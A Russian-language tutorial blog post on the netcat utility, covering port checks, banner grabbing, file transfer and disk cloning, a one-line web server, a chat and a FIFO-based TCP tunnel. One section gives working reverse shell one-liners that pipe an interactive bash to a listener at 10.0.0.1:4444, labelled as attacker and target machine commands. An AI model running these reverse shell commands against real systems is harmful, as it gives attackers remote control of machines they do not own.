Флаг: English English

Netcat: это не просто Telnet. Это сетевой скотч и магия

Опубликовано 28.11.2025

Если бы меня отправили на необитаемый цифровой остров и разрешили взять всего одну сетевую утилиту — я бы без колебаний выбрал Netcat.

Официальная документация (man nc) сухо сообщает: «утилита для чтения и записи по сетевым соединениям через TCP или UDP».
На деле это швейцарский нож сетевого инженера, который заменяет десятки специализированных программ.

В статье используются примеры для OpenBSD netcat — именно он стоит по умолчанию в Ubuntu 20.04+, Debian 10+, Fedora, Arch, Alpine и большинстве современных дистрибутивов.


1. Диагностика: лучше, чем ping

ping проверяет только ICMP. Netcat проверяет именно тот сервис, который вам нужен.

Тихое сканирование портов

nc -zv 192.168.1.10 20-80
nc -zv example.com 80 443 22
  • -z — не отправлять данные, только проверять соединение
  • -v — подробный вывод
  • -w 3 — таймаут 3 секунды (рекомендую добавлять)

Ручное общение с сервисами (banner grabbing)

printf "HEAD / HTTP/1.0\r\n\r\n" | nc -w 3 google.com 80
echo "QUIT" | nc -w 3 smtp.gmail.com 25

2. Передача файлов и клонирование дисков

Нет scp, rsync или USB-флешки? Netcat в помощь.

Простая передача файла

Приём:

nc -l -p 9899 > backup.iso

Отправка:

nc 192.168.1.10 9899 < backup.iso

Клонирование диска по сети со сжатием (очень быстро)

Приём:

nc -l -p 9899 | pigz -dc | sudo dd of=/dev/sdb bs=4M status=progress

Отправка:

sudo dd if=/dev/sda bs=4M status=progress | pigz -1 | nc -l 9899

Если pigz нет — замените на gzip, но будет медленнее.


3. MacGyver-style: однострочники, от которых челюсть падает

Веб-сервер за 5 секунд (работает стабильно)

while true; do
  echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n<h1>It works!</h1>" | \
  nc -l -p 8080 -q 1
done

Или с отдачей реального файла:

while true; do cat response.txt | nc -l 127.0.0.1 8080 -q 1; done

Простой чат-сервер

Сервер:

nc -l -p 7777

Клиент:

nc 192.168.1.10 7777

Пишите друг другу — всё в реальном времени.

Прокси/TCP-туннель через один порт (через FIFO)

mkfifo /tmp/backpipe
nc -l 8080 < /tmp/backpipe | nc database.internal 5432 > /tmp/backpipe

Теперь всё, что придёт на ваш 8080 порт — улетит на внутренний PostgreSQL.


4. Reverse shell без флага -e (работает на OpenBSD netcat)

Важно: современный OpenBSD netcat не содержит флага -e по соображениям безопасности (в отличие от старого GNU netcat).

Рабочий и полностью совместимый способ в 2025 году:

На атакующей машине (слушаем):

nc -lvkp 4444

На целевой машине (одной строкой):

rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/bash -i 2>&1 | nc 10.0.0.1 4444 >/tmp/f

Или ещё короче через mknod:

mknod /tmp/p p
/bin/bash -i < /tmp/p 2>&1 | nc 10.0.0.1 4444 >/tmp/p

Получаете полноценную интерактивную оболочку.


5. Когда netcat мало — берите Ncat или Socat

  • Ncat (из пакета Nmap) — поддерживает -e, SSL, прокси, несколько клиентов одновременно
  • Socat — ещё мощнее, но сложнее в синтаксисе

Установка:

# Ncat
sudo apt install nmap    # уже содержит ncat

# Socat
sudo apt install socat

Итог

Netcat — это воплощение философии Unix:
«Делай одну вещь и делай её идеально» — просто перекачивай байты из точки А в точку Б.
А уж во что эти байты превратятся — зависит только от вашей фантазии и знаний stdin/stdout.

Попробуйте сегодня же передать файл с ноутбука на телефон через Termux.
После этого вы уже никогда не будете смотреть на nc как на «ещё один telnet».

Отзывы по теме

Огромное спасибо Михаилу, обратился к нему с очень срочным вопросом по настройке сервера, так как сам в этом не очень силен а нужно сайт показать заказчику. Ответ быстрый, помощь без лишних слов и очень быстро! Желаю вам много заказов и лучшего рейтинга! Спасибо огромное!

Ekleo

Ekleo · Настройка vps, настройка сервера

Очень мощный покупатель

28.11.2025 · ⭐ 5/5

Огромное спасибо Михаилу, обратился к нему с очень срочным вопросом по настройке сервера, так как сам в этом не очень силен а нужно сайт показать заказчику. Ответ быстрый, помощь без лишних слов и очень быстро! Желаю вам много заказов и лучшего рейтинга! Спасибо огромное!

Очень доволен работой с Михаилом. Любая, даже на первый взгляд, трудная задача - становится благодаря ему качественно реализованной! Спасибо вам)

Dr-zelenin · Настройка vps, настройка сервера

11.11.2025 · ⭐ 5/5

Очень доволен работой с Михаилом. Любая, даже на первый взгляд, трудная задача - становится благодаря ему качественно реализованной! Спасибо вам)

Нужна помощь?

Свяжись со мной и я помогу решить проблему

Похожие посты